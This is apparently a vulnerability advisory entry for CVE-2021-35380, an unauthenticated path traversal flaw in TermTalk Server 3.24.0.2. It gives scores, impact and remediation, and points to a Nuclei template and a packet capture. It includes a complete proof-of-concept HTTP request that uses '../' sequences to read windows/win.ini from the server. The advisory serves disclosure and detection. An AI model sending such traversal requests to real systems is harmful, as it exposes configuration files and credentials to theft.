| Title | TermTalk Server 3.24.0.2 - Local File Inclusion |
|---|---|
| Author | fxploit |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data. |
| Remediation | Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server. |
| CVSS Score | 7.5 |
| EPSS Score | 0.73487 |
| CVE ID | CVE-2021-35380 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve termtalk lfi unauth lfr edb solari vuln |
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
GET /file?valore=../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/15.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35380.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-35380.pcap
N/AN/A